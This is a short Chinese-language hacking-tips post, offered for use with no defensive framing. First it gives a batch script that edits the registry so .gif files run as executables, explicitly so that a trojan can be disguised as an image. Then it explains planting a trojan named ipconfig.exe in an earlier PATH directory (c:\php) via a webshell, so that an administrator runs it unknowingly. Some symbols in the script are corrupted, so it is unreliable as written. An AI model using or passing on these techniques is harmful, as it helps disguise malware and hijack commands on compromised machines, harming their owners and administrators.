你见过gif、jpg、jpeg、bmp等后缀文件当做木马

你见过gif、jpg、jpeg、bmp等后缀文件当做木马来运行吗？一个小技巧可以把任意后缀文件当做EXE程序文件来运行。

更改exe为gif：

@echo off

color 1A

ECHO Windows Registry Editor Version 5.00>gif.reg

ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]》gif.reg

ECHO “Content Type”=“application/x-msdownload”》gif.reg

ECHO @=“exefile”》gif.reg

regedit /s gif.reg>nul 2>nul

del /s gif.reg>nul 2>nul

这个代码保存成。BAT的文件。

先运行这个BAT文件系统会把。GIF文件来当做应用程序来运行

当然我们的木马后缀要换成。GIF 的，嘻嘻。

恢复gif默认：

@echo off

color 1A

ECHO Windows Registry Editor Version 5.00>gif.reg

ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]》gif.reg

ECHO “Content Type”=“image/gif”》gif.reg

ECHO @=“giffile”》gif.reg

regedit /s gif.reg>nul 2>nul

del /s gif.reg>nul 2>nul

这个代码保存成。BAT的文件。

大家可以发挥想象，有很多可以利用的地方。

环境变量的利用。有时候我们在webshell下查看系统变量的时候总能得到一些惊喜，比如系统默认的是Path这个环境变量的值是：%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;假如系统装过php的话，那么它的环境变量可能是c:\php\;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;那么我们就有机可乘了，因为它的顺序在系统默认的路径前面。那么按照优先级，如果我们执行ipconfig 的话，它会先去c:\php这个目录去查找是否存在ipconfig.exe这个文件。如果文件存在，那么它就会先执行c:\php这个目录下的ipconfig.exe文件。所以我们就可以上传一个我们的木马，改名为ipconfig.exe，上传到c:\php目录下，那么当管理员在命令行下运行ipconfig 的时候，系统就会执行我们在c:\php下的木马。